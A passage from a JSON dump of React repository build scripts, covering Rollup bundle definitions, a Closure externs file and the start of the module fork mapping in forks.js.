},\n\n  /******* React Server DOM Turbopack Client *******/\n  {\n    bundleTypes: [NODE_DEV, NODE_PROD],\n    moduleType: RENDERER,\n    entry:\n      'react-server-dom-turbopack/src/client/react-flight-dom-client.browser',\n    name: 'react-server-dom-turbopack-client.browser',\n    global: 'ReactServerDOMClient',\n    minifyWithProdErrorCodes: false,\n    wrapWithModuleBoundaries: false,\n    externals: ['react', 'react-dom'],\n  },\n  {\n    bundleTypes: [NODE_DEV, NODE_PROD],\n    moduleType: RENDERER,\n    entry: 'react-server-dom-turbopack/src/client/react-flight-dom-client.node',\n    name: 'react-server-dom-turbopack-client.node',\n    global: 'ReactServerDOMClient',\n    minifyWithProdErrorCodes: false,\n    wrapWithModuleBoundaries: false,\n    externals: ['react', 'react-dom', 'util'],\n  },\n  {\n    bundleTypes: [NODE_DEV, NODE_PROD],\n    moduleType: RENDERER,\n    entry: 'react-server-dom-turbopack/src/client/react-flight-dom-client.edge',\n    name: 'react-server-dom-turbopack-client.edge',\n    global: 'ReactServerDOMClient',\n    minifyWithProdErrorCodes: false,\n    wrapWithModuleBoundaries: false,\n    externals: ['react', 'react-dom'],\n  },\n\n  /******* React Server DOM Parcel Server *******/\n  {\n    bundleTypes: [NODE_DEV, NODE_PROD],\n    moduleType: RENDERER,\n    entry: 'react-server-dom-parcel/src/server/react-flight-dom-server.browser',\n    name: 'react-server-dom-parcel-server.browser',\n    condition: 'react-server',\n    global: 'ReactServerDOMServer',\n    minifyWithProdErrorCodes: false,\n    wrapWithModuleBoundaries: false,\n    externals: ['react', 'react-dom'],\n  },\n  {\n    bundleTypes: [NODE_DEV, NODE_PROD],\n    moduleType: RENDERER,\n    entry: 'react-server-dom-parcel/src/server/react-flight-dom-server.node',\n    name: 'react-server-dom-parcel-server.node',\n    condition: 'react-server',\n    global: 'ReactServerDOMServer',\n    minifyWithProdErrorCodes: false,\n    wrapWithModuleBoundaries: false,\n    externals: [\n      'react',\n      'react-dom',\n      'async_hooks',\n      'crypto',\n      'stream',\n      'util',\n    ],\n  },\n  {\n    bundleTypes: [NODE_DEV, NODE_PROD],\n    moduleType: RENDERER,\n    entry: 'react-server-dom-parcel/src/server/react-flight-dom-server.edge',\n    name: 'react-server-dom-parcel-server.edge',\n    condition: 'react-server',\n    global: 'ReactServerDOMServer',\n    minifyWithProdErrorCodes: false,\n    wrapWithModuleBoundaries: false,\n    externals: ['react', 'react-dom'],\n  },\n\n  /******* React Server DOM Parcel Client *******/\n  {\n    bundleTypes: [NODE_DEV, NODE_PROD],\n    moduleType: RENDERER,\n    entry: 'react-server-dom-parcel/src/client/react-flight-dom-client.browser',\n    name: 'react-server-dom-parcel-client.browser',\n    global: 'ReactServerDOMClient',\n    minifyWithProdErrorCodes: false,\n    wrapWithModuleBoundaries: false,\n    externals: ['react', 'react-dom'],\n  },\n  {\n    bundleTypes: [NODE_DEV, NODE_PROD],\n    moduleType: RENDERER,\n    entry: 'react-server-dom-parcel/src/client/react-flight-dom-client.node',\n    name: 'react-server-dom-parcel-client.node',\n    global: 'ReactServerDOMClient',\n    minifyWithProdErrorCodes: false,\n    wrapWithModuleBoundaries: false,\n    externals: ['react', 'react-dom', 'util'],\n  },\n  {\n    bundleTypes: [NODE_DEV, NODE_PROD],\n    moduleType: RENDERER,\n    entry: 'react-server-dom-parcel/src/client/react-flight-dom-client.edge',\n    name: 'react-server-dom-parcel-client.edge',\n    global: 'ReactServerDOMClient',\n    minifyWithProdErrorCodes: false,\n    wrapWithModuleBoundaries: false,\n    externals: ['react', 'react-dom'],\n  },\n\n  /******* React Server DOM ESM Server *******/\n  {\n    bundleTypes: [NODE_DEV, NODE_PROD],\n    moduleType: RENDERER,\n    entry: 'react-server-dom-esm/src/server/react-flight-dom-server.node',\n    name: 'react-server-dom-esm-server.node',\n    condition: 'react-server',\n    minifyWithProdErrorCodes: false,\n    wrapWithModuleBoundaries: false,\n    externals: [\n      'react',\n      'react-dom',\n      'async_hooks',\n      'crypto',\n      'stream',\n      'util',\n    ],\n  },\n\n  /******* React Server DOM ESM Client *******/\n  {\n    bundleTypes: [NODE_DEV, NODE_PROD, ESM_DEV, ESM_PROD],\n    moduleType: RENDERER,\n    entry: 'react-server-dom-esm/client.browser',\n    minifyWithProdErrorCodes: false,\n    wrapWithModuleBoundaries: false,\n    externals: ['react', 'react-dom'],\n  },\n  {\n    bundleTypes: [NODE_DEV, NODE_PROD],\n    moduleType: RENDERER,\n    entry: 'react-server-dom-esm/client.node',\n    minifyWithProdErrorCodes: false,\n    wrapWithModuleBoundaries: false,\n    externals: ['react', 'react-dom', 'util'],\n  },\n\n  /******* React Server DOM ESM Node.js Loader *******/\n  {\n    bundleTypes: [ESM_PROD],\n    moduleType: RENDERER_UTILS,\n    entry: 'react-server-dom-esm/node-loader',\n    condition: 'react-server',\n    global: 'ReactServerESMNodeLoader',\n    minifyWithProdErrorCodes: false,\n    wrapWithModuleBoundaries: false,\n    externals: ['acorn'],\n  },\n\n  /******* React Server DOM Unbundled Server *******/\n  {\n    bundleTypes: [NODE_DEV, NODE_PROD],\n    moduleType: RENDERER,\n    entry: 'react-server-dom-unbundled/src/server/react-flight-dom-server.node',\n    name: 'react-server-dom-unbundled-server.node',\n    condition: 'react-server',\n    global: 'ReactServerDOMServer',\n    minifyWithProdErrorCodes: false,\n    wrapWithModuleBoundaries: false,\n    externals: [\n      'react',\n      'react-dom',\n      'async_hooks',\n      'crypto',\n      'stream',\n      'util',\n    ],\n  },\n\n  /******* React Server DOM Unbundled Client *******/\n  {\n    bundleTypes: [NODE_DEV, NODE_PROD],\n    moduleType: RENDERER,\n    entry: 'react-server-dom-unbundled/src/client/react-flight-dom-client.node',\n    name: 'react-server-dom-unbundled-client.node',\n    global: 'ReactServerDOMClient',\n    minifyWithProdErrorCodes: false,\n    wrapWithModuleBoundaries: false,\n    externals: ['react', 'react-dom', 'util', 'crypto'],\n  },\n\n  /******* React Server DOM Unbundled Node.js Loader *******/\n  {\n    bundleTypes: [ESM_PROD],\n    moduleType: RENDERER_UTILS,\n    entry: 'react-server-dom-unbundled/node-loader',\n    condition: 'react-server',\n    global: 'ReactServerUnbundledNodeLoader',\n    minifyWithProdErrorCodes: false,\n    wrapWithModuleBoundaries: false,\n    externals: ['acorn'],\n  },\n\n  /******* React Server DOM Unbundled Node.js CommonJS Loader *******/\n  {\n    bundleTypes: [NODE_ES2015],\n    moduleType: RENDERER_UTILS,\n    entry: 'react-server-dom-unbundled/src/ReactFlightUnbundledNodeRegister',\n    name: 'react-server-dom-unbundled-node-register',\n    condition: 'react-server',\n    global: 'ReactFlightUnbundledNodeRegister',\n    minifyWithProdErrorCodes: false,\n    wrapWithModuleBoundaries: false,\n    externals: ['url', 'module', 'react-server-dom-unbundled/server'],\n  },\n\n  /******* React Suspense Test Utils *******/\n  {\n    bundleTypes: [NODE_ES2015],\n    moduleType: RENDERER_UTILS,\n    entry: 'react-suspense-test-utils',\n    global: 'ReactSuspenseTestUtils',\n    minifyWithProdErrorCodes: false,\n    wrapWithModuleBoundaries: false,\n    externals: ['react'],\n  },\n\n  /******* React ART *******/\n  {\n    bundleTypes: [NODE_DEV, NODE_PROD, FB_WWW_DEV, FB_WWW_PROD],\n    moduleType: RENDERER,\n    entry: 'react-art',\n    global: 'ReactART',\n    externals: ['react'],\n    minifyWithProdErrorCodes: true,\n    wrapWithModuleBoundaries: true,\n    babel: opts =>\n      Object.assign({}, opts, {\n        // Include JSX\n        presets: opts.presets.concat([\n          require.resolve('@babel/preset-react'),\n          require.resolve('@babel/preset-flow'),\n        ]),\n        plugins: opts.plugins.concat([\n          [require.resolve('@babel/plugin-transform-classes'), {loose: true}],\n        ]),\n      }),\n  },\n\n  /******* React Native Fabric *******/\n  {\n    bundleTypes: __EXPERIMENTAL__\n      ? []\n      : [RN_FB_DEV, RN_FB_PROD, RN_FB_PROFILING],\n    moduleType: RENDERER,\n    entry: 'react-native-renderer/fabric',\n    global: 'ReactFabric',\n    externals: ['react-native', 'ReactNativeInternalFeatureFlags'],\n    minifyWithProdErrorCodes: false,\n    wrapWithModuleBoundaries: true,\n    babel: opts =>\n      Object.assign({}, opts, {\n        plugins: opts.plugins.concat([\n          [require.resolve('@babel/plugin-transform-classes'), {loose: true}],\n        ]),\n      }),\n  },\n  {\n    bundleTypes: [RN_OSS_DEV, RN_OSS_PROD, RN_OSS_PROFILING],\n    moduleType: RENDERER,\n    entry: 'react-native-renderer/fabric',\n    global: 'ReactFabric',\n    // ReactNativeInternalFeatureFlags temporary until we land enableRemoveConsolePatches.\n    // Needs to be done before the next RN OSS release.\n    externals: ['react-native', 'ReactNativeInternalFeatureFlags'],\n    minifyWithProdErrorCodes: false,\n    wrapWithModuleBoundaries: true,\n    babel: opts =>\n      Object.assign({}, opts, {\n        plugins: opts.plugins.concat([\n          [require.resolve('@babel/plugin-transform-classes'), {loose: true}],\n        ]),\n      }),\n  },\n\n  /******* React Test Renderer *******/\n  {\n    bundleTypes: [\n      FB_WWW_DEV,\n      NODE_DEV,\n      NODE_PROD,\n      RN_FB_DEV,\n      RN_FB_PROD,\n      RN_FB_PROFILING,\n    ],\n    moduleType: RENDERER,\n    entry: 'react-test-renderer',\n    global: 'ReactTestRenderer',\n    externals: [\n      'react',\n      'scheduler',\n      'scheduler/unstable_mock',\n      'ReactNativeInternalFeatureFlags',\n    ],\n    minifyWithProdErrorCodes: false,\n    wrapWithModuleBoundaries: false,\n    babel: opts =>\n      Object.assign({}, opts, {\n        plugins: opts.plugins.concat([\n          [require.resolve('@babel/plugin-transform-classes'), {loose: true}],\n        ]),\n      }),\n  },\n\n  /******* React Noop Renderer (used for tests) *******/\n  {\n    bundleTypes: [NODE_DEV, NODE_PROD],\n    moduleType: RENDERER,\n    entry: 'react-noop-renderer',\n    global: 'ReactNoopRenderer',\n    minifyWithProdErrorCodes: false,\n    wrapWithModuleBoundaries: false,\n    externals: ['react', 'scheduler', 'scheduler/unstable_mock', 'expect'],\n  },\n\n  /******* React Noop Persistent Renderer (used for tests) *******/\n  {\n    bundleTypes: [NODE_DEV, NODE_PROD],\n    moduleType: RENDERER,\n    entry: 'react-noop-renderer/persistent',\n    global: 'ReactNoopRendererPersistent',\n    minifyWithProdErrorCodes: false,\n    wrapWithModuleBoundaries: false,\n    externals: ['react', 'scheduler', 'expect'],\n  },\n\n  /******* React Noop Server Renderer (used for tests) *******/\n  {\n    bundleTypes: [NODE_DEV, NODE_PROD],\n    moduleType: RENDERER,\n    entry: 'react-noop-renderer/server',\n    global: 'ReactNoopRendererServer',\n    minifyWithProdErrorCodes: false,\n    wrapWithModuleBoundaries: false,\n    externals: ['react', 'scheduler', 'expect'],\n  },\n\n  /******* React Noop Flight Server (used for tests) *******/\n  {\n    bundleTypes: [NODE_DEV, NODE_PROD],\n    moduleType: RENDERER,\n    entry: 'react-noop-renderer/flight-server',\n    condition: 'react-server',\n    global: 'ReactNoopFlightServer',\n    minifyWithProdErrorCodes: false,\n    wrapWithModuleBoundaries: false,\n    externals: [\n      'react',\n      'scheduler',\n      'expect',\n      'react-noop-renderer/flight-modules',\n    ],\n  },\n\n  /******* React Noop Flight Client (used for tests) *******/\n  {\n    bundleTypes: [NODE_DEV, NODE_PROD],\n    moduleType: RENDERER,\n    entry: 'react-noop-renderer/flight-client',\n    global: 'ReactNoopFlightClient',\n    minifyWithProdErrorCodes: false,\n    wrapWithModuleBoundaries: false,\n    externals: [\n      'react',\n      'scheduler',\n      'expect',\n      'react-noop-renderer/flight-modules',\n    ],\n  },\n\n  /******* React Reconciler *******/\n  {\n    bundleTypes: [NODE_DEV, NODE_PROD, NODE_PROFILING, FB_WWW_DEV, FB_WWW_PROD],\n    moduleType: RECONCILER,\n    entry: 'react-reconciler',\n    global: 'ReactReconciler',\n    minifyWithProdErrorCodes: true,\n    wrapWithModuleBoundaries: false,\n    externals: ['react'],\n  },\n\n  /******* React Server *******/\n  {\n    bundleTypes: [NODE_DEV, NODE_PROD],\n    moduleType: RECONCILER,\n    entry: 'react-server',\n    global: 'ReactServer',\n    minifyWithProdErrorCodes: false,\n    wrapWithModuleBoundaries: false,\n    externals: ['react'],\n  },\n\n  /******* React Flight Server *******/\n  {\n    bundleTypes: [NODE_DEV, NODE_PROD],\n    moduleType: RECONCILER,\n    entry: 'react-server/flight',\n    condition: 'react-server',\n    global: 'ReactFlightServer',\n    minifyWithProdErrorCodes: false,\n    wrapWithModuleBoundaries: false,\n    externals: ['react'],\n  },\n\n  /******* React Flight Client *******/\n  {\n    bundleTypes: [NODE_DEV, NODE_PROD],\n    moduleType: RECONCILER,\n    entry: 'react-client/flight',\n    global: 'ReactFlightClient',\n    minifyWithProdErrorCodes: true,\n    wrapWithModuleBoundaries: false,\n    externals: ['react'],\n  },\n\n  /******* Reconciler Reflection *******/\n  {\n    moduleType: RENDERER_UTILS,\n    bundleTypes: [NODE_DEV, NODE_PROD],\n    entry: 'react-reconciler/reflection',\n    global: 'ReactFiberTreeReflection',\n    minifyWithProdErrorCodes: true,\n    wrapWithModuleBoundaries: false,\n    externals: [],\n  },\n\n  /******* Reconciler Constants *******/\n  {\n    moduleType: RENDERER_UTILS,\n    bundleTypes: [NODE_DEV, NODE_PROD, FB_WWW_DEV, FB_WWW_PROD],\n    entry: 'react-reconciler/constants',\n    global: 'ReactReconcilerConstants',\n    minifyWithProdErrorCodes: true,\n    wrapWithModuleBoundaries: false,\n    externals: [],\n  },\n\n  /******* React Is *******/\n  {\n    bundleTypes: [\n      NODE_DEV,\n      NODE_PROD,\n      FB_WWW_DEV,\n      FB_WWW_PROD,\n      RN_FB_DEV,\n      RN_FB_PROD,\n      RN_FB_PROFILING,\n    ],\n    moduleType: ISOMORPHIC,\n    entry: 'react-is',\n    global: 'ReactIs',\n    minifyWithProdErrorCodes: true,\n    wrapWithModuleBoundaries: false,\n    externals: ['ReactNativeInternalFeatureFlags'],\n  },\n\n  /******* React Debug Tools *******/\n  {\n    bundleTypes: [NODE_DEV, NODE_PROD],\n    moduleType: ISOMORPHIC,\n    entry: 'react-debug-tools',\n    global: 'ReactDebugTools',\n    minifyWithProdErrorCodes: false,\n    wrapWithModuleBoundaries: false,\n    externals: [],\n  },\n\n  /******* React Cache (experimental, old) *******/\n  {\n    bundleTypes: [NODE_DEV, NODE_PROD, FB_WWW_DEV, FB_WWW_PROD],\n    moduleType: ISOMORPHIC,\n    entry: 'react-cache',\n    global: 'ReactCacheOld',\n    minifyWithProdErrorCodes: false,\n    wrapWithModuleBoundaries: false,\n    externals: ['react', 'scheduler'],\n  },\n\n  /******* Hook for managing subscriptions safely *******/\n  {\n    bundleTypes: [NODE_DEV, NODE_PROD],\n    moduleType: ISOMORPHIC,\n    entry: 'use-subscription',\n    global: 'useSubscription',\n    minifyWithProdErrorCodes: true,\n    wrapWithModuleBoundaries: true,\n    externals: ['react'],\n  },\n\n  /******* useSyncExternalStore *******/\n  {\n    bundleTypes: [NODE_DEV, NODE_PROD],\n    moduleType: ISOMORPHIC,\n    entry: 'use-sync-external-store',\n    global: 'useSyncExternalStore',\n    minifyWithProdErrorCodes: true,\n    wrapWithModuleBoundaries: true,\n    externals: ['react'],\n  },\n\n  /******* useSyncExternalStore (shim) *******/\n  {\n    bundleTypes: [NODE_DEV, NODE_PROD],\n    moduleType: ISOMORPHIC,\n    entry: 'use-sync-external-store/shim',\n    global: 'useSyncExternalStore',\n    minifyWithProdErrorCodes: false,\n    wrapWithModuleBoundaries: true,\n    externals: ['react'],\n  },\n\n  /******* useSyncExternalStore (shim, native) *******/\n  {\n    bundleTypes: [NODE_DEV, NODE_PROD],\n    moduleType: ISOMORPHIC,\n    entry: 'use-sync-external-store/shim/index.native',\n    global: 'useSyncExternalStore',\n    minifyWithProdErrorCodes: false,\n    wrapWithModuleBoundaries: true,\n    externals: ['react'],\n  },\n\n  /******* useSyncExternalStoreWithSelector *******/\n  {\n    bundleTypes: [NODE_DEV, NODE_PROD],\n    moduleType: ISOMORPHIC,\n    entry: 'use-sync-external-store/with-selector',\n    global: 'useSyncExternalStoreWithSelector',\n    minifyWithProdErrorCodes: false,\n    wrapWithModuleBoundaries: true,\n    externals: ['react'],\n  },\n\n  /******* useSyncExternalStoreWithSelector (shim) *******/\n  {\n    bundleTypes: [NODE_DEV, NODE_PROD],\n    moduleType: ISOMORPHIC,\n    entry: 'use-sync-external-store/shim/with-selector',\n    global: 'useSyncExternalStoreWithSelector',\n    minifyWithProdErrorCodes: false,\n    wrapWithModuleBoundaries: true,\n    externals: ['react', 'use-sync-external-store/shim'],\n  },\n\n  /******* React Scheduler (experimental) *******/\n  {\n    bundleTypes: [\n      NODE_DEV,\n      NODE_PROD,\n      FB_WWW_DEV,\n      FB_WWW_PROD,\n      FB_WWW_PROFILING,\n      RN_FB_DEV,\n      RN_FB_PROD,\n      RN_FB_PROFILING,\n    ],\n    moduleType: ISOMORPHIC,\n    entry: 'scheduler',\n    global: 'Scheduler',\n    minifyWithProdErrorCodes: true,\n    wrapWithModuleBoundaries: true,\n    externals: ['ReactNativeInternalFeatureFlags'],\n  },\n\n  /******* React Scheduler Mock (experimental) *******/\n  {\n    bundleTypes: [\n      NODE_DEV,\n      NODE_PROD,\n      FB_WWW_DEV,\n      FB_WWW_PROD,\n      RN_FB_DEV,\n      RN_FB_PROD,\n    ],\n    moduleType: ISOMORPHIC,\n    entry: 'scheduler/unstable_mock',\n    global: 'SchedulerMock',\n    minifyWithProdErrorCodes: false,\n    wrapWithModuleBoundaries: false,\n    externals: ['ReactNativeInternalFeatureFlags'],\n  },\n\n  /******* React Scheduler Native *******/\n  {\n    bundleTypes: [NODE_DEV, NODE_PROD],\n    moduleType: ISOMORPHIC,\n    entry: 'scheduler/index.native',\n    global: 'SchedulerNative',\n    minifyWithProdErrorCodes: false,\n    wrapWithModuleBoundaries: false,\n    externals: ['ReactNativeInternalFeatureFlags'],\n  },\n\n  /******* React Scheduler Post Task (experimental) *******/\n  {\n    bundleTypes: [\n      NODE_DEV,\n      NODE_PROD,\n      FB_WWW_DEV,\n      FB_WWW_PROD,\n      FB_WWW_PROFILING,\n    ],\n    moduleType: ISOMORPHIC,\n    entry: 'scheduler/unstable_post_task',\n    global: 'SchedulerPostTask',\n    minifyWithProdErrorCodes: true,\n    wrapWithModuleBoundaries: false,\n    externals: [],\n  },\n\n  /******* Jest React (experimental) *******/\n  {\n    bundleTypes: [NODE_DEV, NODE_PROD],\n    moduleType: ISOMORPHIC,\n    entry: 'jest-react',\n    global: 'JestReact',\n    minifyWithProdErrorCodes: false,\n    wrapWithModuleBoundaries: false,\n    externals: ['react', 'scheduler', 'scheduler/unstable_mock'],\n  },\n\n  /******* ESLint Plugin for Hooks *******/\n  {\n    // TODO: we're building this from typescript source now, but there's really\n    // no reason to have both dev and prod for this package.  It's\n    // currently required in order for the package to be copied over correctly.\n    // So, it would be worth improving that flow.\n    name: 'eslint-plugin-react-hooks',\n    bundleTypes: [NODE_DEV, NODE_PROD, FB_WWW_DEV, FB_WWW_PROD, CJS_DTS],\n    moduleType: ISOMORPHIC,\n    entry: 'eslint-plugin-react-hooks/src/index.ts',\n    global: 'ESLintPluginReactHooks',\n    minifyWithProdErrorCodes: false,\n    wrapWithModuleBoundaries: false,\n    preferBuiltins: true,\n    externals: [\n      '@babel/core',\n      'hermes-parser',\n      'zod',\n      'zod/v4',\n      'zod-validation-error',\n      'zod-validation-error/v4',\n      'crypto',\n      'util',\n    ],\n    tsconfig: './packages/eslint-plugin-react-hooks/tsconfig.json',\n    prebuild: `mkdir -p ./compiler/packages/babel-plugin-react-compiler/dist && echo \"module.exports = require('../src/index.ts');\" > ./compiler/packages/babel-plugin-react-compiler/dist/index.js`,\n  },\n\n  /******* React Fresh *******/\n  {\n    bundleTypes: [NODE_DEV, NODE_PROD],\n    moduleType: ISOMORPHIC,\n    entry: 'react-refresh/babel',\n    global: 'ReactFreshBabelPlugin',\n    minifyWithProdErrorCodes: false,\n    wrapWithModuleBoundaries: false,\n    externals: [],\n  },\n  {\n    bundleTypes: [NODE_DEV, NODE_PROD, FB_WWW_DEV],\n    moduleType: ISOMORPHIC,\n    entry: 'react-refresh/runtime',\n    global: 'ReactFreshRuntime',\n    minifyWithProdErrorCodes: false,\n    wrapWithModuleBoundaries: false,\n    externals: [],\n  },\n];\n\n// Based on deep-freeze by substack (public domain)\nfunction deepFreeze(o) {\n  Object.freeze(o);\n  Object.getOwnPropertyNames(o).forEach(function (prop) {\n    if (\n      o[prop] !== null &&\n      (typeof o[prop] === 'object' || typeof o[prop] === 'function') &&\n      !Object.isFrozen(o[prop])\n    ) {\n      deepFreeze(o[prop]);\n    }\n  });\n  return o;\n}\n\n// Don't accidentally mutate config as part of the build\ndeepFreeze(bundles);\ndeepFreeze(bundleTypes);\ndeepFreeze(moduleTypes);\n\nfunction getFilename(bundle, bundleType) {\n  let name = bundle.name || bundle.entry;\n  const globalName = bundle.global;\n  // we do this to replace / to -, for react-dom/server\n  name = name.replace('/index.', '.').replace('/', '-');\n  switch (bundleType) {\n    case NODE_ES2015:\n      return `${name}.js`;\n    case BUN_DEV:\n      return `${name}.development.js`;\n    case BUN_PROD:\n      return `${name}.production.js`;\n    case ESM_DEV:\n      return `${name}.development.js`;\n    case ESM_PROD:\n      return `${name}.production.js`;\n    case NODE_DEV:\n      return `${name}.development.js`;\n    case NODE_PROD:\n      return `${name}.production.js`;\n    case NODE_PROFILING:\n      return `${name}.profiling.js`;\n    case FB_WWW_DEV:\n    case RN_OSS_DEV:\n    case RN_FB_DEV:\n      return `${globalName}-dev.js`;\n    case FB_WWW_PROD:\n    case RN_OSS_PROD:\n    case RN_FB_PROD:\n      return `${globalName}-prod.js`;\n    case FB_WWW_PROFILING:\n    case RN_FB_PROFILING:\n    case RN_OSS_PROFILING:\n      return `${globalName}-profiling.js`;\n    case BROWSER_SCRIPT:\n      return `${name}.js`;\n    case CJS_DTS:\n    case ESM_DTS:\n      return `${name}.d.ts`;\n  }\n}\n\nlet activeBundles = bundles;\nif (process.env.BUNDLES_FILTER != null) {\n  activeBundles = activeBundles.filter(\n    bundle => bundle.name === process.env.BUNDLES_FILTER\n  );\n  if (activeBundles.length === 0) {\n    throw new Error(\n      `No bundles matched for BUNDLES_FILTER=${process.env.BUNDLES_FILTER}`\n    );\n  }\n}\n\nmodule.exports = {\n  bundleTypes,\n  moduleTypes,\n  bundles: activeBundles,\n  getFilename,\n};\n"
  },
  {
    "path": "scripts/rollup/externs/closure-externs.js",
    "content": "/**\n * @externs\n */\n/* eslint-disable */\n\n'use strict';\n\n/** @type {function} */\nvar addEventListener;\n"
  },
  {
    "path": "scripts/rollup/forks.js",
    "content": "'use strict';\n\nconst fs = require('node:fs');\nconst {bundleTypes, moduleTypes} = require('./bundles');\nconst inlinedHostConfigs = require('../shared/inlinedHostConfigs');\n\nconst {\n  FB_WWW_DEV,\n  FB_WWW_PROD,\n  FB_WWW_PROFILING,\n  RN_OSS_DEV,\n  RN_OSS_PROD,\n  RN_OSS_PROFILING,\n  RN_FB_DEV,\n  RN_FB_PROD,\n  RN_FB_PROFILING,\n} = bundleTypes;\nconst {RENDERER, RECONCILER} = moduleTypes;\n\nconst RELEASE_CHANNEL = process.env.RELEASE_CHANNEL;\n\n// Default to building in experimental mode. If the release channel is set via\n// an environment variable, then check if it's \"experimental\".\nconst __EXPERIMENTAL__ =\n  typeof RELEASE_CHANNEL === 'string'\n    ? RELEASE_CHANNEL === 'experimental'\n    : true;\n\nfunction findNearestExistingForkFile(path, segmentedIdentifier, suffix) {\n  const segments = segmentedIdentifier.split('-');\n  while (segments.length) {\n    const candidate = segments.join('-');\n    const forkPath = path + candidate + suffix;\n    try {\n      fs.statSync(forkPath);\n      return forkPath;\n    } catch (error) {\n      // Try the next candidate.\n    }\n    segments.pop();\n  }\n  return null;\n}\n\n// If you need to replace a file with another file for a specific environment,\n// add it to this list with the logic for choosing the right replacement.\n\n// Fork paths are relative to the project root. They must include the full path,\n// including the extension. We intentionally don't use Node's module resolution\n// algorithm because 1) require.resolve doesn't work with ESM modules, and 2)\n// the behavior is easier to predict.\nconst forks = Object.freeze({\n  // Without this fork, importing `shared/ReactSharedInternals` inside\n  // the `react` package itself would not work due to a cyclical dependency.\n  './packages/shared/ReactSharedInternals.js': (\n    bundleType,\n    entry,\n    dependencies,\n    _moduleType,\n    bundle\n  ) => {\n    if (entry === 'react') {\n      return './packages/react/src/ReactSharedInternalsClient.js';\n    }\n    if (entry === 'react/src/ReactServer.js') {\n      return './packages/react/src/ReactSharedInternalsServer.js';\n    }\n    if (entry === 'react-markup/src/ReactMarkupServer.js') {\n      // Inside the ReactMarkupServer render we don't refer to any shared internals\n      // but instead use our own internal copy of the state because you cannot use\n      // any of this state from a component anyway. E.g. you can't use a client hook.\n      return './packages/react/src/ReactSharedInternalsClient.js';\n    }\n    if (bundle.condition === 'react-server') {\n      return './packages/react-server/src/ReactSharedInternalsServer.js';\n    }\n    if (!entry.startsWith('react/') && dependencies.indexOf('react') === -1) {\n      // React internals are unavailable if we can't reference the package.\n      // We return an error because we only want to throw if this module gets used.\n      return new Error(\n        'Cannot use a module that depends on ReactSharedInternals ' +\n          'from \"' +\n          entry +\n          '\" because it does not declare \"react\" in the package ' +\n          'dependencies or peerDependencies.'\n      );\n    }\n    return null;\n  },\n\n  // Without this fork, importing `shared/ReactDOMSharedInternals` inside\n  // the `react-dom` package itself would not work due to a cyclical dependency.\n  './packages/shared/ReactDOMSharedInternals.js': (\n    bundleType,\n    entry,\n    dependencies\n  ) => {\n    if (\n      entry === 'react-dom' ||\n      entry === 'react-dom/src/ReactDOMFB.js' ||\n      entry === 'react-dom/src/ReactDOMTestingFB.js' ||\n      entry === 'react-dom/src/ReactDOMServer.js' ||\n      entry === 'react-markup/src/ReactMarkupClient.js' ||\n      entry === 'react-markup/src/ReactMarkupServer.js'\n    ) {\n      if (\n        bundleType === FB_WWW_DEV ||\n        bundleType === FB_WWW_PROD ||\n        bundleType === FB_WWW_PROFILING\n      ) {\n        return './packages/react-dom/src/ReactDOMSharedInternalsFB.js';\n      } else {\n        return './packages/react-dom/src/ReactDOMSharedInternals.js';\n      }\n    }\n    if (\n      !entry.startsWith('react-dom/') &&\n      dependencies.indexOf('react-dom') === -1\n    ) {\n      // React DOM internals are unavailable if we can't reference the package.\n      // We return an error because we only want to throw if this module gets used.\n      return new Error(\n        'Cannot use a module that depends on ReactDOMSharedInternals ' +\n          'from \"' +\n          entry +\n          '\" because it does not declare \"react-dom\" in the package ' +\n          'dependencies or peerDependencies.'\n      );\n    }\n    return null;\n  },\n\n  // We have a few forks for different environments.\n  './packages/shared/ReactFeatureFlags.js': (bundleType, entry) => {\n    switch (entry) {\n      case 'react-native-renderer':\n        switch (bundleType) {\n          case RN_FB_DEV:\n          case RN_FB_PROD:\n          case RN_FB_PROFILING:\n            return './packages/shared/forks/ReactFeatureFlags.native-fb.js';\n          case RN_OSS_DEV:\n          case RN_OSS_PROD:\n          case RN_OSS_PROFILING:\n            return './packages/shared/forks/ReactFeatureFlags.native-oss.js';\n          default:\n            throw Error(\n              `Unexpected entry (${entry}) and bundleType (${bundleType})`\n            );\n        }\n      case 'react-native-renderer/fabric':\n        switch (bundleType) {\n          case RN_FB_DEV:\n          case RN_FB_PROD:\n          case RN_FB_PROFILING:\n            return './packages/shared/forks/ReactFeatureFlags.native-fb.js';\n          case RN_OSS_DEV:\n          case RN_OSS_PROD:\n          case RN_OSS_PROFILING:\n            return './packages/shared/forks/ReactFeatureFlags.native-oss.js';\n          default:\n            throw Error(\n              `Unexpected entry (${entry}) and bundleType (${bundleType})`\n            );\n        }\n      case 'react-test-renderer':\n        switch (bundleType) {\n          case RN_FB_DEV:\n          case RN_FB_PROD:\n          case RN_FB_PROFILING:\n            return './packages/shared/forks/ReactFeatureFlags.test-renderer.native-fb.js';\n          case FB_WWW_DEV:\n          case FB_WWW_PROD:\n          case FB_WWW_PROFILING:\n            return './packages/shared/forks/ReactFeatureFlags.test-renderer.www.js';\n        }\n        return './packages/shared/forks/ReactFeatureFlags.test-renderer.js';\n      default:\n        switch (bundleType) {\n          case FB_WWW_DEV:\n          case FB_WWW_PROD:\n          case FB_WWW_PROFILING:\n            return './packages/shared/forks/ReactFeatureFlags.www.js';\n          case RN_FB_DEV:\n          case RN_FB_PROD:\n          case RN_FB_PROFILING:\n            return './packages/shared/forks/ReactFeatureFlags.native-fb.js';\n        }\n    }\n    return null;\n  },\n\n  './packages/scheduler/src/SchedulerFeatureFlags.js': (\n    bundleType,\n    entry,\n    dependencies\n  ) => {\n    switch (bundleType) {\n      case FB_WWW_DEV:\n      case FB_WWW_PROD:\n      case FB_WWW_PROFILING:\n        return './packages/scheduler/src/forks/SchedulerFeatureFlags.www.js';\n      case RN_FB_DEV:\n      case RN_FB_PROD:\n      case RN_FB_PROFILING:\n        return './packages/scheduler/src/forks/SchedulerFeatureFlags.native-fb.js';\n      default:\n        return './packages/scheduler/src/SchedulerFeatureFlags.js';\n    }\n  },\n\n  './packages/shared/DefaultPrepareStackTrace.js': (\n    bundleType,\n    entry,\n    dependencies,\n    moduleType\n  ) => {\n    if (moduleType !== RENDERER && moduleType !== RECONCILER) {\n      return null;\n    }\n    // eslint-disable-next-line no-for-of-loops/no-for-of-loops\n    for (let rendererInfo of inlinedHostConfigs) {\n      if (rendererInfo.entryPoints.indexOf(entry) !== -1) {\n        if (!rendererInfo.isServerSupported) {\n          return null;\n        }\n        const foundFork = findNearestExistingForkFile(\n          './packages/shared/forks/DefaultPrepareStackTrace.',\n          rendererInfo.shortName,\n          '.js'\n        );\n        if (foundFork) {\n          return foundFork;\n        }\n        // fall through to error\n        break;\n      }\n    }\n    return null;\n  },\n\n  